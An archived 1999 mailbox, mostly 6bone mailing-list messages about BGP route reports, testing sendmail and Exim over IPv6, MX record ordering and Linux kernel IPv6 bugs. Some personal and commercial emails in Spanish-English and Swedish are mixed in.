->>     3ffe:3001:3::/48 path 109 5409 8731 8251 (CISTRON -- 98%)
->>     3ffe:604:5::/48 path 109 5409 8731 8251 (CISTRON -- 98%)
->>   * 3ffe:3400:100::/48 path 109 5409 8731 (SGH-NET -- 98%)
->> 
->> MIT-SIPB (AS3) announced 3 route(s)
->>     3ffe:28ff:4::/48 path 3 (MIT-SIPB -- 80%)
->>     3ffe:2801::/32 path 3 145 5050 (PSC-GP -- 80%)
->>     3ffe:2803::/32 path 3 145 4557 ( -- 35%)
->> 
->> JOIN (AS1275) announced 2 route(s)
->>     3ffe:2100:1:17::/64 path 1225 1275 (JOIN -- 88%)
->>     3ffe:3400:300::/48 path 1225 1275 5424 (GST/RMACH/FX/CHRIST/LAX/JSB/FIDENTIA-AT/WAECHTER-AT/GEORG-AT/TIVISION-AT/T0-AT/COGIDATA-AT/TCTL-AT/MEDHOST-AT/SWSCHMIEDE-AT/ENEMY-AT/DUNSHIRN-AT/ATNET-AT -- 12%)
->> 
->> REDIRIS (AS766) announced 1 route(s)
->>     3ffe:8034:c0::/48 path 1225 1849 1103 766 8933 1122 1121 ( -- 26%)
->> 
->> VIAGENIE (AS10566) announced 1 route(s)
->>     3ffe:400:d0::/47 path 561 5408 10566 6509 818 ( -- 29%)
->> 
->> RCCN (AS1930) announced 1 route(s)
->>   * 3ffe:3102::/48 path 10566 1930 3243 ( -- 100%)
->> 
->> TELEBIT (AS3263) announced 1 route(s)
->>     3ffe:2280:4::/48 path 7610 3462 3263 2852 (CESNET -- 2%)
->> 
->> BT-LABS (AS1752) announced 1 route(s)
->>     3ffe:2101::/48 path 10566 5408 1752 3185 (ULANC -- 99%)
->> 
->> REGIO-DE (AS8319) announced 1 route(s)
->>     3ffe:400:1c0::/48 path 2839 3274 8319 (REGIO-DE -- 100%)
->> 
->> GRNET (AS5408) announced 1 route(s)
->>   * 3ffe:2d00:b::/48 path 10566 5408 8617 (AEGEAN -- 99%)
->> 
->> SPACENET-DE (AS5539) announced 1 route(s)
->>     3ffe:1402:1:1::/64 path 1225 1103 5539 1273 (NAHENET/ECRC -- 20%)
->> 
->> ICM-PL (AS8664) announced 1 route(s)
->>     3ffe:902::/32 path 1225 8664 (ICM-PL -- 98%)
->> 
->> UUNET-US (AS704) announced 1 route(s)
->>     3ffe:1108:1400::/40 path 704 (UUNET-US -- 100%)
->> 
->> 6COM (AS561) announced 1 route(s)
->>   * 3ffe:1900:9::/48 path 561 11261 (ASCI -- 66%)
->> 
->> Prefixes from Different Origin AS:
->> Format: Prefix path AS-Path (Origin-AS -- Availability)
->> --------------------------------
->>   BAY (3ffe:1300::/24) path 561 10318 (FIBERTEL -- 59%)
->>   BAY (3ffe:1300::/24) path 1225 6175 (SPRINT -- 100%)
->>   VIAGENIE (3ffe:b00::/24) path 10566 (VIAGENIE -- 100%)
->>   VIAGENIE (3ffe:b00::/24) path 3 145 6509 ( -- 1%)
->> 
->> The Top Five Most Active Prefixes (more than 1000 changes):
->> Format: AS-Path (Announce/Withdraw -- Availability)
->> ----------------------------------
->> 1. SICS (3ffe:200::/24) had 31737 BGP+ updates (28 unique aspaths)
->>   2839 (904/0 -- 100%)
->>   7610 3425 293 5609 2839 (49/2 -- 98%)
->>   3 10566 6175 3274 2839 (3904/8 -- 98%)
->>   2500 2500 2500 33 5609 2839 (27/15 -- 70%)
->>   109 33 5609 2839 (3/0 -- 69%)
->>   7081 293 5609 2839 (4540/1627 -- 42%)
->>   10566 6175 3274 2839 (3955/909 -- 29%)
->>   5761 6175 3274 2839 (897/891 -- 29%)
->>   109 1849 5623 2839 (1/0 -- 28%)
->>   561 10318 1849 5623 2839 (5/5 -- 26%)
->>   1225 1275 1835 2839 (995/417 -- 15%)
->>   ...Truncated...
->> 
->> 2. G6 (3ffe:300::/24) had 16546 BGP+ updates (29 unique aspaths)
->>   10566 1930 559 1717 (4415/60 -- 99%)
->>   2839 1835 1717 (888/0 -- 99%)
->>   3 10566 1930 559 1717 (4397/21 -- 98%)
->>   7081 5409 559 1717 (1173/3 -- 97%)
->>   1225 1275 1717 (948/4 -- 88%)
->>   109 1849 786 1717 (3/0 -- 72%)
->>   7610 3425 293 1275 1717 (49/0 -- 66%)
->>   2500 2500 2500 109 1849 786 1717 (10/10 -- 53%)
->>   7610 1849 786 1717 (3/1 -- 32%)
->>   109 5409 559 1717 (2/0 -- 27%)
->>   561 10318 1849 786 1717 (2/2 -- 26%)
->>   ...Truncated...
->> 
->> 3. UIO (3ffe:2a00::/24) had 15200 BGP+ updates (68 unique aspaths)
->>   2839 224 (887/0 -- 100%)
->>   7610 3425 293 5609 2839 224 (49/1 -- 98%)
->>   3 10566 6175 3274 2839 224 (2735/1 -- 98%)
->>   2500 2500 2500 33 5609 2839 224 (28/16 -- 70%)
->>   7081 293 5609 2839 224 (2234/0 -- 58%)
->>   109 33 5609 2839 224 (3/0 -- 47%)
->>   7081 6175 3274 2839 224 (234/1 -- 41%)
->>   10566 6175 3274 2839 224 (2772/892 -- 30%)
->>   5761 6175 3274 2839 224 (880/735 -- 30%)
->>   109 1849 5623 2839 224 (2/0 -- 20%)
->>   1225 1275 1835 2839 224 (1002/288 -- 15%)
->>   ...Truncated...
->> 
->> 4. UNI-C (3ffe:1400::/24) had 15039 BGP+ updates (51 unique aspaths)
->>   2839 1835 (901/0 -- 99%)
->>   7610 3425 293 1275 1835 (46/1 -- 96%)
->>   1225 1275 1835 (782/21 -- 83%)
->>   7081 293 1275 1835 (469/3 -- 78%)
->>   2500 2500 2500 33 3462 3263 1835 (25/15 -- 70%)
->>   3 10566 1930 559 1717 1835 (1658/1 -- 70%)
->>   109 5409 559 1717 1835 (6/0 -- 63%)
->>   561 5609 2839 1835 (5/5 -- 35%)
->>   3 10566 1930 559 1275 1835 (386/0 -- 27%)
->>   7081 5409 559 1717 1835 (1284/3 -- 21%)
->>   109 5409 559 1275 1835 (1/0 -- 20%)
->>   ...Truncated...
->> 
->> 5. JOIN (3ffe:400::/24) had 8777 BGP+ updates (26 unique aspaths)
->>   4538 1275 (6/1 -- 100%)
->>   2839 1835 1275 (663/0 -- 92%)
->>   1225 1275 (949/0 -- 88%)
->>   7610 3425 293 1275 (49/0 -- 66%)
->>   2500 2500 2500 33 1225 1275 (803/599 -- 61%)
->>   109 4556 1225 1275 (3/0 -- 60%)
->>   10566 5408 559 1275 (422/3 -- 50%)
->>   10566 1930 559 1275 (3356/0 -- 49%)
->>   7081 293 1275 (16/0 -- 47%)
->>   561 5609 1225 1275 (4/3 -- 45%)
->>   3 145 7081 293 1275 (1/0 -- 33%)
->>   ...Truncated...
->> 
->> 
->


From 6bone-owner  Mon Nov 29 22:32:26 1999
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Date: Mon, 29 Nov 1999 22:32:22 -0800 (PST)
Message-Id: <199911300632.dAU6WMw65066@southstation.m5p.com>
From: george+6bone@m5p.com
To: 6bone@ISI.EDU
Subject: Testing SMTP over IPv6
Sender: owner-6bone@zephyr.isi.edu
Precedence: bulk
Status: RO

I'm running Sendmail-8.10.0 Beta 6 with IPv6 support compiled in on FreeBSD
3.2 with the KAME IPv6 stack.  Unfortunately, I'm not aware of a single
other site with which I can exchange email over IPv6.  So, if you have
SMTP bound to an IPv6 socket somewhere, would you either let me send you
a message to you via IPv6, or else send me a message at

george@ip6.m5p.com

to let me see if my setup is working?

To get sendmail to compile, I made a couple of changes to sendmail/conf.h
and devtools/OS/FreeBSD, but I've been told that I did it wrong.  The
correct way should have been to a new file, devtools/Site/site.config.m4,
containing the following:

APPENDDEF(`confENVDEF', `-DNETINET6=1')
APPENDDEF(`confLIBDIRS',`-L/usr/local/v6/lib')
APPENDDEF(`confLIBS', `-linet6')

As time goes on and people desire to accept mail over either IPv4 or
IPv6, will we just put MX records of equal priority for an IPv4 server
and an IPv6 server, or just put in one MX record referring to a name
with both an A and AAAA (or A6) record?

-- George Mitchell (george+6bone@m5p.com)


From 6bone-owner  Tue Nov 30 00:50:40 1999
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To: george+6bone@m5p.com
cc: 6bone@ISI.EDU
Subject: Re: Testing SMTP over IPv6
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We're running Sun's sendmail on Solaris 5.7 IPv6_Prototype-01; try
psb@cadsa.ast.ipv6.cam.ac.uk

Pete.

On Mon, 29 Nov 1999 george+6bone@m5p.com wrote:

> I'm running Sendmail-8.10.0 Beta 6 with IPv6 support compiled in on FreeBSD
> 3.2 with the KAME IPv6 stack.  Unfortunately, I'm not aware of a single
> other site with which I can exchange email over IPv6.  So, if you have
> SMTP bound to an IPv6 socket somewhere, would you either let me send you
> a message to you via IPv6, or else send me a message at
> 
> george@ip6.m5p.com
> 
> to let me see if my setup is working?


From 6bone-owner  Tue Nov 30 06:35:10 1999
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From: Matthew Schlegel <nitehawk@1ststep.net>
To: Peter Bunclark <psb@ast.cam.ac.uk>
Cc: george+6bone@m5p.com, 6bone@ISI.EDU
Subject: Re: Testing SMTP over IPv6
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My mail server is IP6 enabled as well.  Exim-3.02 on linux.  Try
nitehawk@1ststep.net or nitehawk@ipv6.1ststep.net

On Tue Nov 30 12:23:22 1999, Peter Bunclark rambled into the ether:
> We're running Sun's sendmail on Solaris 5.7 IPv6_Prototype-01; try
> psb@cadsa.ast.ipv6.cam.ac.uk
> 
> Pete.
> 
> On Mon, 29 Nov 1999 george+6bone@m5p.com wrote:
> 
> > I'm running Sendmail-8.10.0 Beta 6 with IPv6 support compiled in on FreeBSD
> > 3.2 with the KAME IPv6 stack.  Unfortunately, I'm not aware of a single
> > other site with which I can exchange email over IPv6.  So, if you have
> > SMTP bound to an IPv6 socket somewhere, would you either let me send you
> > a message to you via IPv6, or else send me a message at
> > 
> > george@ip6.m5p.com
> > 
> > to let me see if my setup is working?
> 

-- 
Matthew Schlegel
Get Paid to surf the web! http://www.alladvantage.com/go.asp?refid=dsc304

Encryption Keys:
Type     KeyID       Created     Fingerprint
PGP DSS  0x30AFD26D  1998-08-20  FC89 1E36 353E BDAA FF81  DD30 A7B0 3942 30AF D26D
PGP RSA  0x3B80FDDF  1998-09-15  2110 E419 93DD 27DD  3229 168F D091 B9F2

From 6bone-owner  Tue Nov 30 10:31:27 1999
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From: george+6bone@m5p.com
To: 6bone@ISI.EDU
Subject: IPv6 Email Test Was Successful
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Status: RO

Thanks to all!  I've successfully exchanged email over IPv6 with seven
or eight helpful people from this list, and it works just fine.  Thanks
again!                                                      -- George


From 6bone-owner  Tue Nov 30 18:48:28 1999
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	Tue, 30 Nov 1999 21:51:49 -0500
Date: Tue, 30 Nov 1999 21:51:47 -0500 (EST)
From: Herman Strom <hermans@touro.edu>
To: Stig Venaas <venaas@itea.ntnu.no>
cc: Gregg C Levine <hansolofalcon@worldnet.att.net>, 6bone <6bone@ISI.EDU>
Subject: Re: Linux operating system kernel versions
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Hi!

Slackware 4.0 runs on 2.2.12 but it doesn't have glibc-2.1. Slackware
3.9 is a step back for 2.0 lovers it runs 2.0.36pre7 if I am not
mistaken. Who else out there works with Slackware + IPv6. I need help.
Where can I get some utilities and application that can run on
glibc-2.1.

Thanks.

bye,

Herm

---------------------------------------
Herman Strom - Academic Computing Dept.
 Touro College <http://www.touro.edu/>

-- Contact me via: --------------------
  Check out my Personal Home Page at:
    <http://hermstrom.tripod.com/>
      email: <hermans@touro.edu>
       Work Phone: 718 871-7292
       Home Phone: 718 972-2173
---------------------------------------

On Tue, 23 Nov 1999, Stig Venaas wrote:

Date: Tue, 23 Nov 1999 07:10:49 +0100
From: Stig Venaas <venaas@itea.ntnu.no>
To: Gregg C Levine <hansolofalcon@worldnet.att.net>,
     "'6bone@isi.edu'" <6bone@ISI.EDU>
Subject: Re: Linux operating system kernel versions

> On Mon, Nov 22, 1999 at 08:03:58PM -0500, Gregg C Levine wrote:

The current stable Linux kernel is 2.2 (latest is 2.2.13) and has IPv6
support, 2.0.34 is really old. I haven't followed Slackware lately, but
I'm surprised if the current Slackware uses 2.0. Most distributions will
give you a kernel image with IPv6 disabled, so you will probably have to
compile the kernel yourself, and say yes to IPv6.

If you have more questions, please ask.

Stig

-- 
Stig Venaas
UNINETT/NTNU


From 6bone-owner  Tue Nov 30 19:24:10 1999
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Date: Tue, 30 Nov 1999 22:27:15 -0500 (EST)
From: Herman Strom <hermans@touro.edu>
To: kuznet@ms2.inr.ac.ru
cc: 6bone@ISI.EDU, rzm@icm.edu.pl, hansolofalcon@worldnet.att.net
Subject: Re: Linux operating system kernel versions
In-Reply-To: <199911231619.TAA30449@ms2.inr.ac.ru>
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Hi! Alexis,

I sent this message to <linux-net@vger.rutgers.edu> I don't know why
didn't pick it up. Here it is again for you.

------- The Message ------
Date: Mon, 15 Nov 1999 20:25:10 -0500 (EST)
From: Herman Strom <hermans@touro.edu>
To: linux-net@vger.rutgers.edu
Subject: Hi! and IPv6 module situation.

Hi! Everyone,

Thanks to those of you who replied to help me to sign up onto this
list. My name is Herman Strom. I work for Touro College located the
heart of New York City. I have checked some of the topic you discuss
here. They are pretty impressive.

I work on a project involving IPv6 and its Linux implementation. I run
it on DELL Pentium 100 system with IBM Token-Ring network adapter. I
have Slackware 6.3-beta running on my box with kernel version 2.2.12
and glibc-2.1.1.

I am not exactly sure how to detect bugs but this might be it. From
all the documentation that I have read on IPv6, it seems like as IPv6
is self-configured. And particularly, from all Linux+IPv6 documents
that I have read, I gather that as soon as IPv6 module loads, it must
self-configure 'lo' device as 'inet6 addr: 0::1/128 Scope:Host' and
any other network device with a link-local use address (on FE80::0/10
the link-local use network).

In actuality, though when I load IPv6 module with 'insmod ipv6'
command, and run 'lsmod' command, it concerns me when I see (-1) in
the 'Used' column. 'lo' gets self-configured when I do 'ifconfig sit0
up'. However 'tr0' never gets self-configured. Later when I want to
unload 'ipv6' module, having de-ifconfig all of the IPv6 interfaces, I
find that the module is still busy.

It might be a buggy interaction between 'ibmtr' and 'ipv6' modules or
maybe something else. Please Comment if you can.

Thanks alot.
--------- END of Messasge ---------------

Yes, my friend submitted it but it didn't get through for some reason.
maybe you would have better luck.

By the way where are you from in Russia. I am from russia too but now
I live ii USA.

Thanks.

Have a great day.

bye,

Herm

On Tue, 23 Nov 1999 kuznet@ms2.inr.ac.ru wrote:

Date: Tue, 23 Nov 1999 19:19:52 +0300 (MSK)
From: kuznet@ms2.inr.ac.ru
To: Herman Strom <hermans@touro.edu>
Cc: 6bone@ISI.EDU, rzm@icm.edu.pl, hansolofalcon@worldnet.att.net
Subject: Re: Linux operating system kernel versions

Hello!

> glibc-2.1.1. Unfortunately, IPv6 Support in 2.2.x kernel has at least
> two bugs: usage counter and local-link autoconfig don't work.

Please, explain.


> again, the patch is old for Linux-2.1.131. And my finnish friend
> doesn't have time to rewrite it.

Did your friend have time to submit the patch to maintainers?
If he does not, please, send it yourself in reply to this mail.

Alexey Kuznetsov




From 6bone-owner  Wed Dec  1 00:56:00 1999
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Date: Wed, 1 Dec 1999 19:55:49 +1100 (EST)
From: Peter Tattam <peter@jazz-1.trumpet.com.au>
Reply-To: Peter Tattam <peter@jazz-1.trumpet.com.au>
To: george+6bone@m5p.com
cc: 6bone@ISI.EDU
Subject: Re: Testing SMTP over IPv6
In-Reply-To: <199911300632.dAU6WMw65066@southstation.m5p.com>
Message-ID: <Pine.BSF.3.96.991201184755.22022B-100000@jazz-1.trumpet.com.au>
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My mail server is now configured to receive IPv6 mail.

Mail sent to *@ip6.trumpet.net should end up at our server.

If you wish to test, send a message to autoreply@ip6.trumpet.net

As I set it up, I came to the realization that MX will need to be set up
correctly for mail to be reliable to IPv6 machines.

Here is the MX list for ip6.trumpet.net

ip6.trumpet.net.        43200   MX      10 louie.ip6.trumpet.net.
ip6.trumpet.net.        43200   MX      15 louie.trumpet.com.au.
ip6.trumpet.net.        43200   MX      20 jazz-1.trumpet.com.au.
ip6.trumpet.net.        43200   MX      30 yarrina.connect.com.au.
ip6.trumpet.net.        43200   MX      40 warrane.connect.com.au.


If you are mixing IPv4 & IPv6 servers in the MX list,  it is important that
the MX list be set in the following manner...

IPv6 only servers		MX    a
....
IPv6 + IPv4 servers		MX    b
....
IPv4 only servers		MX    c


Where a < b < c

If there is a mix of IPv4 & IPv4 MX's, there must be a dual IPv6 + IPv4 server
either at the start of the list or before all the IPv4 only servers.
Otherwise mail will queue indefinitely at the IPv4 servers if the IPv6 only
server is down.

In my example, louie.ip6.trumpet.net and louie.trumpet.com.au are the same
machine.  The rest are IPv4 only servers.

Finally, please note that this IPv6 mail server is running over win32 using
Trumpet Fanfare 1.09 and Trumpet Winsock 5.0D (beta).  The setup is quite
stable and operates for months at a time. The machine is a Pentium 100 with 16
megs running Win95-original.

Peter

--
Peter R. Tattam                            peter@trumpet.com
Managing Director,    Trumpet Software International Pty Ltd
Hobart, Australia,  Ph. +61-3-6245-0220,  Fax +61-3-62450210



From 6bone-owner  Wed Dec  1 06:42:33 1999
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Date: Tue, 30 Nov 1999 06:34:45 -0800
From: Matthew Schlegel <nitehawk@1ststep.net>
To: Peter Bunclark <psb@ast.cam.ac.uk>
Cc: george+6bone@m5p.com, 6bone@ISI.EDU
Subject: Re: Testing SMTP over IPv6
Message-ID: <19991130063445.A3044@1ststep.net>
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	6bone@ISI.EDU
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My mail server is IP6 enabled as well.  Exim-3.02 on linux.  Try
nitehawk@1ststep.net or nitehawk@ipv6.1ststep.net

On Tue Nov 30 12:23:22 1999, Peter Bunclark rambled into the ether:
> We're running Sun's sendmail on Solaris 5.7 IPv6_Prototype-01; try
> psb@cadsa.ast.ipv6.cam.ac.uk
> 
> Pete.
> 
> On Mon, 29 Nov 1999 george+6bone@m5p.com wrote:
> 
> > I'm running Sendmail-8.10.0 Beta 6 with IPv6 support compiled in on FreeBSD
> > 3.2 with the KAME IPv6 stack.  Unfortunately, I'm not aware of a single
> > other site with which I can exchange email over IPv6.  So, if you have
> > SMTP bound to an IPv6 socket somewhere, would you either let me send you
> > a message to you via IPv6, or else send me a message at
> > 
> > george@ip6.m5p.com
> > 
> > to let me see if my setup is working?
> 

-- 
Matthew Schlegel
Get Paid to surf the web! http://www.alladvantage.com/go.asp?refid=dsc304

Encryption Keys:
Type     KeyID       Created     Fingerprint
PGP DSS  0x30AFD26D  1998-08-20  FC89 1E36 353E BDAA FF81  DD30 A7B0 3942 30AF D26D
PGP RSA  0x3B80FDDF  1998-09-15  2110 E419 93DD 27DD  3229 168F D091 B9F2

>From analevin@redestb.es Tue Nov 30 18:53:51 1999
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From: "Ana Levin" <analevin@redestb.es>
To: "Helen Dagerus" <dagerus@swip.net>
Subject: Last days.
Date: Tue, 30 Nov 1999 18:20:24 +0100
X-MSMail-Priority: Normal
X-Priority: 3
X-Mailer: Microsoft Internet Mail 4.70.1155
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Hi Helen!
How are you? I suposed very nervous, because theres only a few days to move
to Amsterdam.Isn´t it?
I´m doing my last things too, but i suposed i ´ll arrive at December 10 or
11.
This weekend i was in another city, Albacete, and someone stoled my wallet
with all, my I.D, credit cards, driving license, and 10.000 pesetas!!.The
worst of all is that theres only few days to go and i´m unidentificated,
well i still having my passport, it will be enough to go to Holland.
Well i hope everything will be fine and we can se each other in a couple of
days in OUR HOUSE.I´m very happy!!
See you soon, and lots of luck.
Ana

>From nk-kunder-bounce@netch.se Tue Nov 30 19:23:15 1999
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Date: Tue, 30 Nov 1999 16:03:53 +0100
From: nk-hallen@netch.se
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To: nk-hallen@netch.se
Subject: Information =?iso-8859-1?Q?fr=E5n?= NK Hallen
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Vecka 48 p=E5 NK Hallen.
http://www.nk.se/stockholm/NKhallen/
Best=E4ll maten via din dator - vi b=E4r hem kassarna =E5t dig.

B=E4ste kund!

November blir denna vecka december och en mysig julst=E4mning smyger sig p=
=E5.
Ta hj=E4lp av oss p=E5 NK Hallen i dina julf=F6rberedelser. Best=E4ll din ma=
t
direkt via n=E4tet. Den h=E4r veckan hittar du NK pastasallader f=F6r 59:00/=
kg
och kalvinnanl=E5r f=F6r 149.00/kg. Best=E4ller du din hemleverans till tisd=
ag
eller onsdag underl=E4ttar du v=E5rt vardagliga arbete. Det bel=F6nar vi med=
 ett
extra erbjudande i din matkasse. Denna veckas erbjudande =E4r Zoegas=
 Julkaffe.


Vi forts=E4tter med levereranser till d=F6rr i v=E5ra splitternya kylbilar.
Best=E4ll din hemleverans till f=F6ljande tre leveransturer:
Tur 1: kl 9-12
Tur 2: kl 14-17
Tur 3: kl 17-21


Bra priser denna vecka:

NK Pastasallader 59:00/kg
Laxrom 129:00/kg
Kalvinnanl=E5r 149:00/kg
Skivat hamburgerk=F6tt 99:00/kg
Spanska apelsiner 7:90/kg
Herrg=E5rdsost 59:90/kg
Froza =E4ppel- eller k=F6rsb=E4rspaj 29:90/kg
Sonnessons grekiska lantbr=F6d 11:90/st
Blossa L=E4ttgl=F6gg 750 ml 25:90
Cafe Tasse Drickchoklad 250 gr 59:90
2 pack Julmust 2*1,5L 19:90
Samarin fruktsalt 240 gr 54:50
Jordan Tandborste 14:90
Comfort sk=F6ljmedel 500 ml 21:90
NK Bageriet Baguetter 12:50/st
Lindt Praline Hochfine 350 gr 119:00
Tidsam Elle 44:50

Ha en trevlig vecka!
nk-hallen@netch.se

P.S. Om du vill ta en paus fr=E5n veckobrevet kan du genom
ett enkelt handgrepp ordna detta sj=E4lv. Under http://www.nk.se/html
loggar du in i butiken, sedan under "=D6vrigt" i valen du kan g=F6ra till
v=E4nster (v=E4nsterframen). S=E5 vidare med "=E4ndra personuppgifter",
och markera att du inte vill ha veckobrevet. P=E5 samma s=E4tt kan
du =E4ndra tillbaka n=E4r du vill ha veckobrevet igen.

NK Hallens n=E4tbutik =E4r producerad av Brand Internet
och /netch/.

>From 6bone-owner@ISI.EDU Tue Nov 30 20:33:19 1999
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Date: Tue, 30 Nov 1999 10:31:15 -0800 (PST)
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From: george+6bone@m5p.com
To: 6bone@ISI.EDU
Subject: IPv6 Email Test Was Successful
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Thanks to all!  I've successfully exchanged email over IPv6 with seven
or eight helpful people from this list, and it works just fine.  Thanks
again!                                                      -- George


>From 6bone-owner@ISI.EDU Wed Dec  1 04:42:51 1999
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	Tue, 30 Nov 1999 21:51:49 -0500
Date: Tue, 30 Nov 1999 21:51:47 -0500 (EST)
From: Herman Strom <hermans@touro.edu>
To: Stig Venaas <venaas@itea.ntnu.no>
cc: Gregg C Levine <hansolofalcon@worldnet.att.net>, 6bone <6bone@ISI.EDU>
Subject: Re: Linux operating system kernel versions
In-Reply-To: <19991123071049.A16237@itea.ntnu.no>
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Hi!

Slackware 4.0 runs on 2.2.12 but it doesn't have glibc-2.1. Slackware
3.9 is a step back for 2.0 lovers it runs 2.0.36pre7 if I am not
mistaken. Who else out there works with Slackware + IPv6. I need help.
Where can I get some utilities and application that can run on
glibc-2.1.

Thanks.

bye,

Herm

---------------------------------------
Herman Strom - Academic Computing Dept.
 Touro College <http://www.touro.edu/>

-- Contact me via: --------------------
  Check out my Personal Home Page at:
    <http://hermstrom.tripod.com/>
      email: <hermans@touro.edu>
       Work Phone: 718 871-7292
       Home Phone: 718 972-2173
---------------------------------------

On Tue, 23 Nov 1999, Stig Venaas wrote:

Date: Tue, 23 Nov 1999 07:10:49 +0100
From: Stig Venaas <venaas@itea.ntnu.no>
To: Gregg C Levine <hansolofalcon@worldnet.att.net>,
     "'6bone@isi.edu'" <6bone@ISI.EDU>
Subject: Re: Linux operating system kernel versions

> On Mon, Nov 22, 1999 at 08:03:58PM -0500, Gregg C Levine wrote:

The current stable Linux kernel is 2.2 (latest is 2.2.13) and has IPv6
support, 2.0.34 is really old. I haven't followed Slackware lately, but
I'm surprised if the current Slackware uses 2.0. Most distributions will
give you a kernel image with IPv6 disabled, so you will probably have to
compile the kernel yourself, and say yes to IPv6.

If you have more questions, please ask.

Stig

-- 
Stig Venaas
UNINETT/NTNU


>From 6bone-owner@ISI.EDU Wed Dec  1 05:03:15 1999
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Date: Tue, 30 Nov 1999 22:27:15 -0500 (EST)
From: Herman Strom <hermans@touro.edu>
To: kuznet@ms2.inr.ac.ru
cc: 6bone@ISI.EDU, rzm@icm.edu.pl, hansolofalcon@worldnet.att.net
Subject: Re: Linux operating system kernel versions
In-Reply-To: <199911231619.TAA30449@ms2.inr.ac.ru>
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Hi! Alexis,

I sent this message to <linux-net@vger.rutgers.edu> I don't know why
didn't pick it up. Here it is again for you.

------- The Message ------
Date: Mon, 15 Nov 1999 20:25:10 -0500 (EST)
From: Herman Strom <hermans@touro.edu>
To: linux-net@vger.rutgers.edu
Subject: Hi! and IPv6 module situation.

Hi! Everyone,

Thanks to those of you who replied to help me to sign up onto this
list. My name is Herman Strom. I work for Touro College located the
heart of New York City. I have checked some of the topic you discuss
here. They are pretty impressive.

I work on a project involving IPv6 and its Linux implementation. I run
it on DELL Pentium 100 system with IBM Token-Ring network adapter. I
have Slackware 6.3-beta running on my box with kernel version 2.2.12
and glibc-2.1.1.

I am not exactly sure how to detect bugs but this might be it. From
all the documentation that I have read on IPv6, it seems like as IPv6
is self-configured. And particularly, from all Linux+IPv6 documents
that I have read, I gather that as soon as IPv6 module loads, it must
self-configure 'lo' device as 'inet6 addr: 0::1/128 Scope:Host' and
any other network device with a link-local use address (on FE80::0/10
the link-local use network).

In actuality, though when I load IPv6 module with 'insmod ipv6'
command, and run 'lsmod' command, it concerns me when I see (-1) in
the 'Used' column. 'lo' gets self-configured when I do 'ifconfig sit0
up'. However 'tr0' never gets self-configured. Later when I want to
unload 'ipv6' module, having de-ifconfig all of the IPv6 interfaces, I
find that the module is still busy.

It might be a buggy interaction between 'ibmtr' and 'ipv6' modules or
maybe something else. Please Comment if you can.

Thanks alot.
--------- END of Messasge ---------------

Yes, my friend submitted it but it didn't get through for some reason.
maybe you would have better luck.

By the way where are you from in Russia. I am from russia too but now
I live ii USA.

Thanks.

Have a great day.

bye,

Herm

On Tue, 23 Nov 1999 kuznet@ms2.inr.ac.ru wrote:

Date: Tue, 23 Nov 1999 19:19:52 +0300 (MSK)
From: kuznet@ms2.inr.ac.ru
To: Herman Strom <hermans@touro.edu>
Cc: 6bone@ISI.EDU, rzm@icm.edu.pl, hansolofalcon@worldnet.att.net
Subject: Re: Linux operating system kernel versions

Hello!

> glibc-2.1.1. Unfortunately, IPv6 Support in 2.2.x kernel has at least
> two bugs: usage counter and local-link autoconfig don't work.

Please, explain.


> again, the patch is old for Linux-2.1.131. And my finnish friend
> doesn't have time to rewrite it.

Did your friend have time to submit the patch to maintainers?
If he does not, please, send it yourself in reply to this mail.

Alexey Kuznetsov




>From 6bone-owner@ISI.EDU Wed Dec  1 10:41:25 1999
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Date: Wed, 1 Dec 1999 19:55:49 +1100 (EST)
From: Peter Tattam <peter@jazz-1.trumpet.com.au>
Reply-To: Peter Tattam <peter@jazz-1.trumpet.com.au>
To: george+6bone@m5p.com
cc: 6bone@ISI.EDU
Subject: Re: Testing SMTP over IPv6
In-Reply-To: <199911300632.dAU6WMw65066@southstation.m5p.com>
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My mail server is now configured to receive IPv6 mail.

Mail sent to *@ip6.trumpet.net should end up at our server.

If you wish to test, send a message to autoreply@ip6.trumpet.net

As I set it up, I came to the realization that MX will need to be set up
correctly for mail to be reliable to IPv6 machines.

Here is the MX list for ip6.trumpet.net

ip6.trumpet.net.        43200   MX      10 louie.ip6.trumpet.net.
ip6.trumpet.net.        43200   MX      15 louie.trumpet.com.au.
ip6.trumpet.net.        43200   MX      20 jazz-1.trumpet.com.au.
ip6.trumpet.net.        43200   MX      30 yarrina.connect.com.au.
ip6.trumpet.net.        43200   MX      40 warrane.connect.com.au.


If you are mixing IPv4 & IPv6 servers in the MX list,  it is important that
the MX list be set in the following manner...

IPv6 only servers		MX    a
....
IPv6 + IPv4 servers		MX    b
....
IPv4 only servers		MX    c


Where a < b < c

If there is a mix of IPv4 & IPv4 MX's, there must be a dual IPv6 + IPv4 server
either at the start of the list or before all the IPv4 only servers.
Otherwise mail will queue indefinitely at the IPv4 servers if the IPv6 only
server is down.

In my example, louie.ip6.trumpet.net and louie.trumpet.com.au are the same
machine.  The rest are IPv4 only servers.

Finally, please note that this IPv6 mail server is running over win32 using
Trumpet Fanfare 1.09 and Trumpet Winsock 5.0D (beta).  The setup is quite
stable and operates for months at a time. The machine is a Pentium 100 with 16
megs running Win95-original.

Peter

--
Peter R. Tattam                            peter@trumpet.com
Managing Director,    Trumpet Software International Pty Ltd
Hobart, Australia,  Ph. +61-3-6245-0220,  Fax +61-3-62450210



>From info@teamdivers.se Wed Dec  1 14:58:49 1999
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From: Team Divers <info@teamdivers.se>
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Organization: Team Divers
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Bäste dykare!


   * Fr.o.m. 991201 har vi ny kod till "Dygnet runt fyllningen" Koden är
     # 1035 och avser både boxen + stora grinden.
   * För Er som inte har ordnat alla julklappar ännu kan jag tipsa om
     vår hemsida www.teamdivers.se.

mvh/TEAM DIVERS
Staff

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B&auml;ste dykare!
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<li>
F&ouml;r Er som inte har ordnat alla julklappar &auml;nnu kan jag tipsa
om v&aring;r hemsida www.teamdivers.se.</li>
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<p><br>mvh/<b><font face="Arial,Helvetica">TEAM DIVERS</font></b>
<br>Staff</html>

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From 6bone-owner  Wed Dec  1 07:25:49 1999
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To: Peter Tattam <peter@jazz-1.trumpet.com.au>
Cc: george+6bone@m5p.com, 6bone@ISI.EDU
From: "Matt Crawford" <crawdad@fnal.gov>
Subject: Re: Testing SMTP over IPv6 
In-reply-to: Your message of Wed, 01 Dec 1999 19:55:49 +1100.
             <Pine.BSF.3.96.991201184755.22022B-100000@jazz-1.trumpet.com.au> 
Date: Wed, 01 Dec 1999 09:21:49 -0600
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> If you are mixing IPv4 & IPv6 servers in the MX list,  it is important that
> the MX list be set in the following manner...
> 
> IPv6 only servers		MX    a
> IPv6 + IPv4 servers		MX    b
> IPv4 only servers		MX    c
> 
> Where a < b < c

No, this sort of ordering is only important if not all the servers
can do "final delivery" (i.e., take the message out of the SMTP
world).

From 6bone-owner  Wed Dec  1 07:44:24 1999
